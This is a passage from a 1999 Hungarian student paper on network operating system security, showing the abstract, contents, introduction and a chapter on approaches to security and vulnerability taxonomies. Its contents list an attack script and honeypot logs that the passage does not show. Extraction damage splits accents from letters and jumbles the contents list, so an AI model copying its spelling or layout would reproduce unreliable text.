´ lo ´ zati opera ´cio ´ s rendszerek Ha ´gi ke ´rde ´seinek biztonsa ´leti ta ´rgyala ´sa, elme ´lhato ´ sa ´g problematika ´ja az algoritmiza
TDK dolgozat 1999. okt´ ober
Bencs´ath Boldizs´ar
Tihanyi S´andor
BME Villamosm´ern¨ oki ´es Informatikai Kar m˝ uszaki informatika szak, V. ´evfolyam
Konzulens: dr. Vajda Istv´ an, BME H´ırad´ astechnikai Tansz´ek ¨ Uzleti Adatbiztons´ag Labor
Kivonat A h´ al´ ozati oper´ aci´os rendszerek biztons´agi probl´em´ai igen szerte´agaz´oak. B´ar rengeteg gyakorlati tapasztalat van ezen a ter¨ uleten, kev´es az elm´eleti eredm´eny. Munk´ ankban megismertetni ´es k¨orvonalazni k´ıv´ anjuk a k¨ ul¨ onb¨ oz˝o jelleg˝ u biztons´ agi r´eseket, probl´em´akat, majd ezek a´ttekint´ese ut´an egy kategoriz´al´ asi lehet˝os´eget mutatunk be. A biztons´ agi probl´em´akat nemcsak statikus, hanem dinamikus helyzetben is tanulm´ anyozzuk, azaz a biztons´agi probl´em´at le´ır´ o ´allapotot, konfigur´ aci´ot ´es ezek dinamikus viselked´es´et vizsg´aljuk. L´etrej¨ov˝ o modell¨ unk alapja teh´ at egyr´eszt a gyakorlat, tapasztalat, m´ asr´eszt az ismert biztons´agi modellek ´es vizsg´alati ir´ anyzatok. A dolgozat keret´eben ´attekint˝ o, o¨sszefoglal´o jelleggel r´ avil´ ag´ıtunk a v´edekez´es lehet˝os´egeire. Megmutatjuk, hogy a biztons´ agi probl´em´akkal kapcsolatos felmer¨ ul˝ o feladatok kev´ess´e algoritmiz´alhat´ oak, gyakorta intuit´ıv m´odszerekre hagyatkoznak. Ezeket a m´odszereket saj´at k´esz´ıt´es˝ u ´el˝o p´eld´akkal illusztr´ aljuk. Bemutatunk egy web alap´ u biztons´ agi r´est ´es annak egyszer˝ u kiakn´ az´as´at. Hasonl´ o gond t¨ obb nagy magyar Internet-szolg´ altat´ o rendszer´en is megfigyelhet˝o. M´ asik p´eld´ankban egy ,,csapda-sz´am´ıt´ og´ep” l´etrehoz´as´at ´es biztons´agi szempontjait, k¨ ornyezet´et mutatjuk meg. A csapda c´elja bemutatni, hogyan lehet felhaszn´ alni a biztons´ agi probl´em´ak dinamikus viselked´es´en´el, sz´am´ıt´ og´epes bet¨or´esn´el haszn´alt m´ odszereket a biztons´ ag n¨ ovel´ese ´es ellen˝orz´ese c´elj´ab´ ol. A rendszer¨ unk alapvet˝ o c´elja a potenci´ alis behatol´ o megismer´ese ´es a vesz´elyeztetett rendszerek sz˝ ur´ese. A kutat´ asaink eredm´enyek´eppen l´etrej¨ott p´ alyam˝ u alapj´ at adhatja tov´ abbi vizsg´alatoknak, hasznos lehet a t´ema ir´ant ´erdekl˝od˝ oknek u ´j m´ odszerek megismer´es´ehez, l´at´ok¨ or¨ uk b˝ ov´ıt´es´ehez.
Tartalomjegyz´ ek Bevezet´ es
3
1 Sz´ am´ıt´ og´ epes probl´ em´ ak csoportos´ıthat´ os´ aga
4
1.1
Elm´eleti ´es gyakorlati eredm´enyek . . . . . . . . . . . . . . .
4
1.2
Biztons´agi probl´em´ak megk¨ozel´ıt´esm´odjai . . . . . . . . . . .
7
1.3
A megk¨ozel´ıt´esi form´ak gyakorlati p´eld´akban . . . . . . . . .
8
1.4
Biztons´agi probl´em´ak oszt´alyoz´ asa . . . . . . . . . . . . . . .
9
1.4.1 1.5
Javaslatok . . . . . . . . . . . . . . . . . . . . . . . . .
12
A v´edekez´es m´odszerei . . . . . . . . . . . . . . . . . . . . . .
14
1.5.1
Programhib´ ak elleni v´edekez´es . . . . . . . . . . . . .
14
1.5.2
Firewall-ok . . . . . . . . . . . . . . . . . . . . . . . .
16
1.5.3
IDS rendszerek . . . . . . . . . . . . . . . . . . . . . .
16
1.5.4
Audit rendszerek . . . . . . . . . . . . . . . . . . . . .
17
1.5.5
Egy´eb lehet˝os´egek . . . . . . . . . . . . . . . . . . . .
18
2 A csapdasz´ am´ıt´ og´ ep 20 ´ o bet¨or´esi p´elda . . . . . . . . . . . . . . . . . . . . . . . . 20 2.1 El˝
2.2
2.1.1
A bet¨ or˝ o
. . . . . . . . . . . . . . . . . . . . . . . . .
20
2.1.2
21
2.1.3
Az IRC seg´ıts´ege . . . . . . . . . . . . . . . . . . . . . ´ Ujabb adatok a bet¨ or˝ or˝ ol! . . . . . . . . . . . . . . . .
2.1.4
A csapda fel´ all´ıt´ asa . . . . . . . . . . . . . . . . . . . .
22
A csapdasz´am´ıt´ og´ep ¨ossze´all´ıt´ asa . . . . . . . . . . . . . . . .
23
2.2.1
A csapda konkr´et fel´ep´ıt´ese . . . . . . . . . . . . . . .
24
2.2.2
Napl´ oz´as be´all´ıt´ asa . . . . . . . . . . . . . . . . . . . .
25
1
21
2.2.3
A t´ avoli napl´ oz´as u ´j m´ odszerei . . . . . . . . . . . . .
27
2.2.4
A forgalom figyel´ese . . . . . . . . . . . . . . . . . . .
28
2.2.5
Sniffit . . . . . . . . . . . . . . . . . . . . . . . . . . .
28
2.2.6
Az SSH napl´ oz´asa . . . . . . . . . . . . . . . . . . . .
29 31
2.3
2.2.7 Tov´ abbi teend˝ ok; a bet¨ or˝ o csalogat´asa . . . . . . . . . ¨ Osszegz´ es a csapdasz´am´ıt´ og´epr˝ ol . . . . . . . . . . . . . . . .
2.4
A csapda j¨ ov˝ oje . . . . . . . . . . . . . . . . . . . . . . . . . .
33
3 Egy egyszer˝ u Web-es biztons´ agi probl´ ema 3.1
3.2
33
35
A jelszavakr´ ol . . . . . . . . . . . . . . . . . . . . . . . . . . .
35
3.1.1
Konkr´et jelsz´o-gy˝ ujtem´enyek vizsg´alata . . . . . . . .
35
3.1.2
Vizsg´alat az Internet Worm adatb´ azis alapj´ an . . . . .
37
3.1.3
Jelszavak frissess´ege . . . . . . . . . . . . . . . . . . .
37
Web-alap´ u t´ amad´ asi lehet˝os´egek . . . . . . . . . . . . . . . .
38
3.2.1
Egy lehets´eges t´amad´ as . . . . . . . . . . . . . . . . .
38
3.2.2
Eredm´enyek . . . . . . . . . . . . . . . . . . . . . . . .
39
3.2.3
A probl´ema kik¨ usz¨ob¨ ol´ese . . . . . . . . . . . . . . . .
39
¨ Osszegz´ es
41
A R¨ ovid´ıt´ esek, magyar´ azatok
45
B Programk´ odok
50
B.1 Az /etc-ben l´ev˝o f´ ajlok a´t´ır´ asa a SSH napl´ oz´as´ahoz a ,,firewall” g´epen . . . . . . . . . . . . . . . . . . . . . . . . . . . .
50
B.2 ipchains.init script a ,,firewall” sz˝ ur˝ ofunkci´ oinak bekapcsol´ as´ahoz 50 B.3 Az SSH kliens ´es szerver program ´at´ır´ asa unified diff form´ aban 51 B.4 PERL program a jelsz´ of´ ajl-m´ odosul´ asok vizsg´alat´ ahoz . . . .
61
B.5 PERL program a CGI alap´ u Web-es probl´ema t´amad´ as´ara . .
61
C N´ eh´ any tipikus napl´ of´ ajl
63
C.1 A Telnet bejelentkez´esek napl´of´ ajlja . . . . . . . . . . . . . .
63
C.2 Egy lehallgatott SSH kapcsolat felhaszn´ al´ o fel´e ir´anyul´ o adatfolyama . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
63
C.3 Egy lehallgatott SSH kapcsolat felhaszn´ al´ o fel˝ oli adatfolyama
64
2
Bevezet´ es A sz´am´ıt´ og´epes biztons´ag tudom´ anya egy interdiszciplin´ alis tudom´ any´ ag. Interdiszciplin´ alis, mert nem ¨on´ all´ o tudom´ any´ ag, valamint t¨ obb m´ as tudom´ any´ agb´ ol haszn´ al fel eredm´enyeket. A sz´am´ıt´ og´epes biztons´agtechnika voltak´eppen egy gyakorlatias kever´eke m´as tudom´ anyoknak: kriptogr´ afia (´es matematika, mint h´ attere), sz´am´ıt´ astudom´any, bonyolults´ ageml´elet, algoritmuselm´elet, de menedzsment, marketing ´es pszichol´ ogia is egyben. Az ut´ obbi h´ arom dolog val´ oj´ aban nem trivi´ alisan k¨ otdik a biztons´ agtechnik´ ahoz, de mint k´es˝obb l´ atni fogjuk, ez is szerves r´esze a probl´em´anak. Ezzel kezd˝ odhetne egy tank¨ onyv, melyet a sz´am´ıt´ og´epes biztons´ agr´ ol, esetleg sz˝ ukebben, az a´ltalunk vizsg´ alt ´ertelemben a h´al´ ozatba k¨ ot¨ott, h´ al´ ozati oper´ aci´os rendszerrel ell´atott sz´am´ıt´ og´ep biztons´ ag´ar´ ol sz´olna. Egyel˝ ore ennek a ter¨ uletnek a szervezett, k¨otelez˝o avagy m´ely oktat´ asa m´eg nincs megszervezve egyetem¨ unk¨ on, m´ arpedig erre sz¨ uks´eg van. A sz´am´ıt´ og´epes biztons´ag r´eg´ota ismert fogalom. M´ ar a kezdeti id˝ okben kider¨ ult: a sz´ am´ıt´ og´ep, a technika fegyver. Hosszan taglalhatn´ ank m´eg, mi´ert fontos az, hogy egy h´ al´ ozatba k¨ ot¨ott sz´am´ıt´ og´epen t´arolt adatok biztons´ agban legyenek, ´es hogy ez a tudom´ any´ ag milyen fontos. ´ gondoljuk ezzel m´ Ugy ar mindenki tiszt´ aban van. Azonban m´eg a t´ema legjobb ismeri is t´evedhetnek, m´eg az is haszn´alhat nem megfelelen biztons´ agos jelsz´ot, aki pontosan tudja mennyire fontos a jelszavak kezel´ese, karbantart´ asa. Tanulm´ anyunkban t¨ obb apr´ o ter¨ ulettel k´ıv´ anunk foglalkozni, t¨ obb szempontb´ ol k´ıv´ anjuk bemutatni, mennyire fontos a t´ema alaposabb ismerete ´es a r´eszletesebb kutat´as. Arra k´ıv´ anunk r´ avil´ ag´ıtani, hogy elengedhetetlen lesz a main´ al l´enyegesen t¨obb figyelem ford´ıt´ asa erre a ter¨ uletre. ´Ir´ asunkban nem r´eszletez¨ unk minden h´ att´eranyagot, ´es ismeretforr´ast. B´ızunk benne, hogy az olvas´ o tiszt´aban van a ma haszn´ alt sz´am´ıt´ og´eprendszerek alapfogalmaival, ismeri a TCP/IP h´ al´ ozatot, az alapvet˝ o UNIX parancsokat. Amennyiben ennek ellen´ere nem igazodna ki le´ır´ asunkban, k´erj¨ uk szem´elyesen keressen meg, sz´ıvesen seg´ıt¨ unk, Bencs´ ath Boldizs´ ar, Tihanyi S´ andor 3
Fejezet 1
Sz´ am´ıt´ og´ epes probl´ em´ ak csoportos´ıthat´ os´ aga 1.1
Elm´ eleti ´ es gyakorlati eredm´ enyek
Az oper´aci´os rendszerek biztons´agi probl´em´ai kapcs´an sz´amos elm´eleti ´es gyakorlati eredm´eny van. A ,,guru” tudj´ ak, hogyan lehet biztons´ agosnak ´ıt´elhet˝o rendszert l´etrehozni, ´es ezt j´ol karban is tartj´ ak. A ,,hackerek” folyamatos tev´ekenys´eg¨ uk a´ltal egyre o¨sszetettebb k´epet adnak ´es egyre t¨obb hiba kijav´ıt´ as´at teszik lehet˝ov´e. A ,,tudom´ any´ ag szak´ert˝oi” kez´eben vannak az elm´eleti eredm´enyek. Akkor teh´ at minden sz´ep ´es j´o? Nem, sz´amos probl´ema van. Itt most azt emeln´em ki, hogy az elm´eleti ´es a gyakorlati ´elet er˝osen elv´alik. Az elm´eleti eredm´enyek (Common Criteria ([1] ´es [2]), TCSEC ([15]), ITSEC [10] . . . ) alkalmazhat´ oak egy olyan sz´ettdarabolt, tagolt k¨ ornyezetben, mint az internet. Egy-egy bank megengedhet mag´ anak milli´ okba ker¨ ul biztons´ agos fejleszt´eseket, azonban a mai internetes nagyv´ allalkoz´ asok t¨obbs´eg´enek alapja egy gar´ azsc´eg, ahol p´ ar fiatal o´cskavasb´ol o¨sszerakott sz´am´ıt´ og´epr˝ ol kezdte meg a vil´ag megh´od´ıt´ as´at. Ha pedig az elm´eleti eredm´enyek sz´elesk¨orben nem, vagy csak r´eszben vannak felhaszn´ alva, az igen sok probl´ema forr´ asa. Term´eszetesen ezeket a probl´em´akat az eml´ıtett bark´ acsol´o fiatalok magukt´ ol kijav´ıtj´ ak, vagy legal´ abb kezelik. Ugyanakkor ez a nagyfok´ u kreat´ıv tapasztalat nem tud ´atmenni az elm´eleti ´eletbe, ha nincs megfelel˝o t´ amogatotts´aga. Ez a sz´ettagolts´ag jelent ma igen nagy probl´em´at a t´em´aban. Az is probl´ema, hogy nincsenek olyan biztos alapon a´ll´ o eredm´enyek, melyekre egy´ertelmen lehet ´ep´ıteni. Senki nem tudja bebizony´ıtani a ne4
gyedsz´azados titkos´ıt´ asi elj´ar´ asokr´ ol (RSA, Diffie-Hellman, IDEA, . . . ), hogy ´ hissz¨ nem, vagy csak igen nehezen felt¨orhetek. Ugy uk, hogy nem, vagy csak nehezen lehet felt¨orni ezeket, de p´eld´aul m´ ar csak az elosztott rendszerek seg´ıts´eg´evel is siker¨ ult led¨ onteni a falak egy r´esz´et.
´abra 1.1: A host-ok sz´ama ´es a biztons´agi probl´em´ak n¨oveked´ese a CERT kimutat´asa alapj´ an
A legegyszer˝ ubb rutinr´ ol is bebizonyosodhat teh´ at, hogy egy adott rendszerben, adott k¨ ornyezetben nem felel meg az elv´ar´ asoknak. ´Igy ha biztons´ agi probl´em´akat vizsg´ alunk, mindig egy rendszert, egy teljes k¨ ornyezetet kell vizsg´alni. A sz´am´ıt´ og´epes probl´em´ak csoportos´ıthat´ os´aga nem egyszer˝ u feladat. M´ ar az sem egyszer˝ u feladat, hogy valamir˝ ol meg´allap´ıtsuk: biztons´ agi hiba, probl´ema-e avagy nem. Vegy¨ unk egy egyszer˝ u p´eld´ at: Az egyik sz´ am´ıt´ og´ep¨ unk egy lok´ alis h´ al´ ozaton figyeli a gyan´ us h´ al´ ozati forgalmat ´es ezeket r¨ ogz´ıti. Ez mag´ aban rejt egy gondot, t´ amad´ asi lehet˝ os´eget: Ha a valamely felhaszn´ al´ o tudja, mikor gener´ al hamis pozit´ıvokat a h´ al´ ozatfigyel program, azaz tud olyan val´ os, de gyan´ usnak v´elhet forgalmat gener´ alni, amit a rendszer napl´ oz, ugyanakkor indokolni is tudja a forgalom sz¨ uks´egess´eg´et, akkor bizony a megfigyel˝ o sz´ am´ıt´ og´ep v´eges h´ att´ert´ ara hamar betelhet. 5
´abra 1.2: Internet host-ok sz´am´anak n¨oveked´ese, hosszabb t´av´u trend Miut´ an pedig megtelt a h´ att´ert´ ar, az okos t´ amad´ o m´ ar mindenf´ele napl´ obejegyz´es l´etrej¨ ovetele n´elk¨ ul t¨ orhet be egy megc´elzott sz´ am´ıt´ og´epre. Mindenki l´ athatja: biztons´ agi probl´ema van, a napl´ oz´ as miatt magasabbnak hitt biztons´ agi szintet nem ´erj¨ uk el. A probl´ema oka, hogy a sz´ am´ıt´ og´epek nem v´egtelen t´ arral rendelkeznek, mint egy Turing g´ep, ´es ez pontosan elegend˝ o, hogy az elm´eleti vil´ ag r´egi m´ odszerei ne lehessenek alkalmazhat´ oak egy gyakorlati szitu´ aci´ oban. Mint l´ athat´ o, ha pontosan ismerj¨ uk egy program vagy egy eg´esz rendszer minden komponens´enek m˝ uk¨ od´es´et, akkor sem lehet algoritmikusan eld¨onteni valamir˝ ol, hogy biztons´ agi gondot jelent-e. A rendszert nem tudjuk csak statikusan vizsg´ alni, azaz nem lehet, vagy nem c´elszer˝ u a rendszert csak egy adott ´allapot´ aban vizsg´ alni, hogy probl´em´as-e ez az ´allapot. Sokkal c´elszerbb egy rendszert dinamikusan, folyamatk´ent vizsg´alni.
6
1.2
Biztons´ agi probl´ em´ ak megk¨ ozel´ıt´ esm´ odjai BIZTONSÁG
MÉRNÖKI
MENEDZSERI
PSZICHOLÓGIAI
´abra 1.3: Megk¨ ozel´ıt´esm´odok Ha tov´abb boncolgatjuk a probl´em´at, akkor a k¨ ovetkez˝oket figyelhetj¨ uk meg. A sz´am´ıt´ og´epes biztons´agi k´erd´eseket ´altal´ aban h´ arom szemsz¨ogb˝ ol szok´as megk¨ozel´ıteni (1.3. a´bra): • Az els˝o, a´ltal´ anos, legegzaktabb megk¨ozel´ıt´esi m´od a m´ern¨ oki megk¨ozel´ıt´es: A m´ern¨ oki prec´ız, tudom´ anyos megk¨ozel´ıt´es a hibamentes rendszert veszi alapul. C´elja 100%-ig biztons´agos rendszer kidolgoz´ asa, ´es u ´gy gondolja, el´erhet˝o ez a c´el. A hibalehets´egeket egy u ´j elv˝ u mk¨ od´essel megpr´ob´ alja meg elker¨ ulni (p´ ald´ aul protected m´ od, felhaszn´ al´ oi azonos´ıt´ as), vagy a fell´ep˝o hib´ akat jav´ıtani, a hibalehets´egekt˝ol a rendszert v´edeni. Mindenk´eppen biztons´ agoss´a k´ıv´ anja tenni a rendszert, ez az egyed¨ uli elfogadhat´ o c´el. • A m´asodik megk¨ozel´ıt´esi forma egy menedzseri megk¨ozel´ıt´es: A c´el k¨olts´eghat´ekony, m˝ uk¨ odk´epes biztons´agpolitika megteremt´ese. Nem fontos a biztons´ag, ha az p´enzbe ker¨ ul, illetve nem ´erdemes r´a addig k¨ olteni, am´ıg nem musz´aj. A megel˝oz´esn´el fontosabb lehet az ut´ olagos v´edekez´es (holott ez val´oj´ aban sokkal nagyobb k´ art jelent). A menedzseri megk¨ozel´ıt´es szempontj´ab´ ol nem kell 100%-os biztons´agra t¨orekedni, de az esetleges k´arokat minimaliz´ alni kell. Olyan rendszert k´ıv´ an fel´ep´ıteni, ami ha o¨ssze is omlik, hamar helyre´all´ıthat´ o. • A harmadik megk¨ ozel´ıt´es a pszichol´ ogiai megk¨ozel´ıt´es: A pszichol´ ogiai szemmel alkotott biztons´agpolitika a t´ amad´ okra ´es a t´amad´ asok h´ atter´ere ´ep´ıt. Ki t¨ or be egy rendszerbe? Mi´ert t¨or be a rendszerbe? Inform´aci´ot akar ellopni? Hogy ´es hol t´aroljuk az inform´ aci´ot, hogy ne akarja ellopni? Haragban a´ll valakivel, ´es csak ´ıgy tudja levezetni? Hogy lehet kiker¨ ulni azt, hogy t´ amadjon? Term´eszetesen l´etezhet sok egy´eb megk¨ozel´ıt´es (p´eld´aul a lusta megk¨ozel´ıt´es, amikor a f˝ o elv hogy semmit ne csin´aljunk), azonban v´elem´eny¨ unk szerint a fenti kategoriz´ al´ as igen c´elszer˝ u, ´es haszn´alhat´ oan csoportos´ıtja a kezel´esi m´odokat. 7
1.3
A megk¨ ozel´ıt´ esi form´ ak gyakorlati p´ eld´ akban
A fenti szeml´eletm´odokra adunk p´ ar p´eld´ at: • A m´ern¨ oki, prec´ız biztons´agpolitik´ at bankokn´ al, a´llamhivatalokban figyelhetj¨ uk meg. Itt el˝osdleges szempont a teljes biztons´ag. Term´eszetesen ez nem ´erhet˝o el, de ig´eny van r´ a. A nem el´erhet˝o sz´az sz´azal´ekos biztons´ ag el nem fogad´ asa viszont s´ ulyos ellentmond´ as´aval probl´em´akat hordoz mag´ aban: – Szervezeti, struktur´ alis bizonytalans´ ag, konfliktusforr´ as. – Gazdas´agilag nem igaz´an hat´ekony. – Koncentr´ aci´os probl´em´ak. A c´el a 100%, ez´ert nem tud a legfontosabb probl´em´ara koncentr´ alni, ´es ´ıgy s´ ulyos gondok l´ephetnek fel. – Sz´ettagolts´ag. Az el˝obbib˝ ol k¨ ovetkezik. Ez a megk¨ozel´ıt´esi m´od az elm´eleti ´elet megk¨ozel´ıt´esi m´odja. • A menedzseri megk¨ozel´ıt´es a gyakorlatban elfordul´ o leggyakoribb elv: a legt¨obb v´ allalat kezdetben nem rendelkezik biztons´ agpolitik´ aval, ´es csak az els˝o probl´em´ak ut´ an hozza l´etre. Csak olyan megold´asokat fogad el (m´eg ha szab´alyban t¨ obbet r¨ ogz´ıt is), amely hat´ekonyan megoldhat´ o, ´es amelyeket az emberek k´epesek ´atl´ atni. Ez a megk¨ozel´ıt´esi m´od a gyakorlati ´elet megk¨ozel´ıt´esi m´odja. • A pszichol´ ogiai szempontot azok haszn´alj´ ak, akik hum´ an ir´ anyb´ ol k¨ ozel´ıtik meg a t´em´at. Ugyan a pszichol´ ogiai szempont u ´gy t˝ unik o¨n´ all´ oan semmilyen megold´ ast nem hozhat, m´egis u ´gy ´erezz¨ uk, alkalmas ez a szempont a harmadik tagol´ asi elv l´etrehoz´as´ara. ´ Alljon itt egy kis legenda (forr´ as´at nem ismerj¨ uk, sz´ ajhagyom´ any u ´tj´ an terjedt): Az USA egyik sz´ am´ıt´ og´ep´et gyakorta felt¨ ort´ek ´es lefagyasztott´ ak. Ezen a sz´ am´ıt´ og´epen egyszerre t¨ obb tizen dolgoztak, ´ıgy sok ember ´elet´et keser´ıtette meg a dolog. A sz´ am´ıt´ og´ep v´edelm´enek er˝ os´ıt´ese helyett ezut´ an a k¨ ovetkez˝ ot tett´ek: kiraktak egy pap´ırt: ,,Ha be´ırod, hogy stop, az eg´esz sz´ am´ıt´ og´ep le´ all ´es senki nem fog tudni dolgozni. K´erlek hagyd dolgozni az embereket!” Mindenkinek lehet˝ os´ege volt teh´ at a rendszert kikapcsolni, nem volt sz¨ uks´eg tr¨ ukk¨ os felt¨ or´esre. Megsz˝ unt a var´ azs ´es a vonzer˝ o. Ezut´ an j´ oval kevesebbszer volt gond a g´ep rosszindulat´ u le´ all´ as´ aval. 8
Ezt a mentalit´ ast teh´at a´ltal´ aban egy t´ arsadalomtud´ os v´ alaszthatn´ a. A fent v´ azolt megold´asok, mentalit´asok tiszt´an igen ritk´ an jelentkeznek. Mindenki megpr´ ob´ alja a lehet˝ o legjobb m´ odszert, m´odszereket kiv´alasztani. Nagyon ritk´ an l´ at az ember azonban olyan a´tgondolt biztons´ agpolitik´ at, amelyik minden felt´etelt teljes´ıt. Ez nemcsak teljes informatikai rendszerek v´edelm´ere vonatkozik, hanem igaz kisebb egys´egekre is. A firewall -ok, a UNIX ´es m´as eszk¨oz¨ok t¨ obbs´ege p´eld´aul az all or nothing, mindent vagy semmit elvre ´ep´ıt, azaz am´ıg nem t¨ ornek be egy ilyen rendszerbe, addig teljes a biztons´ag; bet¨ or´es, rendszergazdai jogosults´agok birtok´ aban viszont m´ar mindenre van lehet˝ os´eg. Vannak k¨ ul¨ onbs´egek a rendszerek k¨oz¨ott ebben a tekintetben is, a biztons´ agi k´erd´esek esetenk´ent finom´ıthat´ oak is, pl. UNIX alatt a sudo program seg´ıts´eg´evel. Ekkor egyes privilegiz´ alt felhaszn´ al´ oknak m´ odjuk van rendszergazdai jogosults´ agokkal bizonyos parancsokat kiadni. ´Igy ezen jogosults´agok megszerz´ese nem az eg´esz rendszert tenn´e lyukass´a, csak bizonyos programokat. Ennek ellen´ere m´eg igaz: a korl´ atlan rendszergazdai jogok gyakran megszerezhet˝oek, azaz a rendszer felt¨orhet˝ o, ´es ´ıgy a teljes rendszer biztons´ aga megsemmis¨ ul. Egy a´tgondolt rendszerben a jogosults´ agok j´ ol k¨ or¨ ulhat´ aroltan j¨ onnek l´etre, l´etezik biztons´agi politika, a rendszer nehezen felt¨ orhet˝ o, ugyanakkor a sz¨ uks´eges feladatok elv´egz´ese nem neh´ezkes. Ha egy ilyen rendszert m´egis felt¨ ornek, akkor a helyre´ all´ıt´ as szinte azonnal megtehet˝o: van ment´es, de ellen˝orizhet˝o a rendszer integrit´ asa is, s˝ot, arra automatikus figyelmeztet´esek is k´esztetnek. Emellett egy ilyen rendszer olcs´o ´es hat´ekony is. Ez a mi elk´epzel´es¨ unk egy biztons´ agos rendszerr˝ ol, de sajnos a gyakorlati ´eletben ez gyakran nem m˝ uk¨ odik. A k¨ ul¨ onb¨ oz˝o szeml´eletm´odok l´ete csak a probl´ema egyik forr´ asa. Hasonl´ o gondot jelent az is, hogy korl´ atozott az emberi er˝oforr´ as ´es a k¨olts´egvet´es ilyen c´elokra. ´ asi probl´em´at jelent az, ha egy rendszergazda a biztons´ag ´erdek´eben Ori´ t´ ul szigor´ u rendszab´ alyokat hoz meg. Ha ugyanis t´ ul sok felhaszn´al´ ot korl´ atoz a napi munk´ aban, viszont a sz¨ uks´eges seg´ıts´eget nem, vagy csak ritk´an, lassan adja meg, akkor a felhaszn´ al´ ok r´ ak´enyszer¨ ulnek a rendszer felt¨or´es´ere. (Ilyenkor egyes tapasztalt, hozz´a´ert˝o felhaszn´ al´ ok u ´gy ´erzik, k´enytelenek ˝ok megtenni azt, amit a rendszergazda bel´athat´ o id˝ on bel¨ ul nem tesz meg, de term´eszetesen erre csak a g´ep felt¨ or´ese eset´en van m´ odjuk. Ekkor viszont a rendszer integrit´ asa s´er¨ ul ´es ez u ´jabb gondokat okozhat.)
1.4
Biztons´ agi probl´ em´ ak oszt´ alyoz´ asa
A biztons´ agi probl´em´akat mindenki oszt´alyozza valahogyan. Ez a csoportos´ıt´ as, oszt´alyoz´ as azonban intuit´ıven t¨ ort´enik, ´es csak ritk´an l´ atunk 9
megalapozott m´odszert. Egy csoportos´ıt´ ast akkor tekinthet¨ unk j´ onak, ha biztos´ıtja a funkcion´ alis elk¨ ul¨ on¨ ul´est, megfelel˝o m´eret˝ u halmazokat alkot (sem t´ ul nagy cell´ ak, sem t´ ul kicsi), tiszta elvekre ´ep¨ ul, az egyes elemek viszonylag egyszer˝ uen ´es egy´ertelm˝ uen besorolhat´ oak a megfelel˝o csoportba. Egy j´ o csoportos´ıt´ as eset´en a kateg´ oriakialak´ıt´ as elve ´es az elnevez´esi m´odszer is egys´eges. A kateg´ori´ ak, alkateg´ ori´ ak sz´am´anak is akkor´ anak kell lennie, hogy az a´tl´ athat´ o, haszn´ alhat´ o strukt´ ur´ at hozzon l´etre. A kategoriz´al´ as egyik c´elja az inform´ aci´ok elk¨ ul¨ on´ıtett gy˝ ujt´es´enek lehet˝ov´e t´etele. C´elja, hogy a kateg´ oria eml´ıt´es´evel egy olvas´o olyan a´ltal´ anos inform´ aci´okhoz jusson, melyb˝ ol sok k¨ oz¨os inform´ aci´ora, tulajdons´ agra tud k¨ ovetkeztetni. A csoportos´ıt´ as biztons´agi t´em´akban a feladat neh´ez a k¨ovetkez˝ok miatt: sz´amos probl´ema van, igen sz´eles a biztons´agi probl´em´ak ter¨ ulete. Egyes t´emak¨or¨ okben igen sok gond mer¨ ul fel, sok eset kapcsol´odik hozz´ a, m´ıg m´as t´em´ak eset´en csak egy-egy gond jelentkezik. Egy probl´ema gyakorta t¨ obb t´emak¨ort is a´tfog. Egy probl´ema besorol´asakor is t¨ obb gond mer¨ ul fel, mivel a probl´em´at elm´eleti s´ıkon, de gyakorlati helyzetben (adott konfigur´ aci´oban, adott programn´ al, adott oper´ aci´os rendszerben, adott sz´am´ıt´ og´ep-architekt´ ur´ aban) is vizsg´alni lehet. P´eld´ aul egy biztons´ agi probl´ema a kernelben, amikor egy futtathat´ o f´ ajl stackje s´er¨ ulhet, ´es ez´ altal rendszergazdai jogosults´ agok v´ alnak el´erhet˝ ov´e rengeteg m´ odon csoportos´ıthat´ o. N´ezz¨ uk meg, milyen csoportos´ıt´ asi lehet˝os´egeket tal´alunk az irodalomban. A biztons´ agi k´erd´esek ´atfog´ o csoportos´ıt´ as´ara [22] ´es [21]-ben l´ athatunk p´eld´at. A biztons´ agi lyukak keletkez´esi okai: • Sz´and´ekos – Rosszindulat´ u ∗ Tr´ ojai fal´ o · Nem terjed · Terjed (v´ırus) ∗ Kiskapu (trapdoor) ∗ Logikai/id˝ o bomba – Nem rosszindulat´ u ∗ Rejtett csatorna (covert channel) · T´arol´ as · Id˝ oz´ıt´es ∗ Egy´eb 10
• V´eletlen – Valid´ aci´os hiba (Nem teljes vagy inkonzisztens) – Domain hiba – Sorrendi hiba (ellen˝ orz´es ´es felhaszn´al´ as ideje elt´er) – Azonos´ıt´ as/hiteles´ıt´es nem megfelel˝o – Hat´ar´ert´ek felt´etelek megs´ert´ese – Egy´eb logikai hiba A csoportos´ıt´ as probl´em´ai a k¨ ovetkez˝oek: T´ ul kev´es csoport van, ´ıgy tov´ abbi alcsoportokat kellene k´epezni; egyes csoportokba igen kev´es hiba tartozhat (pl. sorrendi hiba), m´ıg m´as csoportok t´ ul a´tfog´ oak (hat´ ar´ert´ek-felt´etelek megs´ert´ese, egy´eb logikai hiba). Ez ut´ obbi kateg´ ori´ akba belesorolhat´ o olyan hiba is, amit m´ ar m´as csoportba is besoroltunk, illetve nem ad m´ odot arra, hogy kell˝ ok´eppen k¨ ul¨ onv´ alasszuk a hib´ akat, valamint a csoportos´ıt´ assal jellemz˝o inform´ aci´ot adjuk azokr´ ol. Ez a csoportos´ıt´ as egyszer˝ u ´es t¨om¨or v´ azlata miatt azonban jobban haszn´alhat´ o, mint m´ as csoportos´ıt´ asok. Nagyon sok k¨ onyv, mint a William R. Cheswick - Steven M. Bellovin: Firewalls and Internet Security c. munk´ aja [4] r´eszletesen t´argyal biztons´ agi probl´em´akat (itt f˝ oleg h´al´ ozati oper´ aci´os rendszerek hib´air´ ol van sz´o, nem a hiteles´ıt´es, k´odol´ as k´erd´eseir˝ol, de term´eszetesen a t´ema igen sz´eles k¨or˝ u). A r´eszletes t´argyal´ as ellen´ere nincsen megfelel˝o csoportos´ıt´ as. A 9. fejezetben t´argyalt t´ amad´ asi m´odok p´eld´ aul a k¨ ovetkez˝ok: • Steeling passwords, • Social Engineering, • Bugs and Backdoors, • Authentication Failures, • Protocol Failures, • Information Leakage, • Denial of service A Social Engineering csoport besorol´ asa fontos b˝ ov´ıt´es a [22] szerinti csoportos´ıthat´ os´aghoz k´epest. A ut´obb eml´ıtett munk´ aban ugyanis nincsen be´ep´ıtve a biztons´ agi lyukak keletkez´esi m´odjaiba az emberi hibat´enyez˝ o, ´ csak implicit m´odon. Es noha a biztons´ agi m´odszerek tervez´esekor az emberi hibat´enyez˝o mindig bele´ertend˝ o a probl´em´akba, addig mindig ad´ odik olyan 11
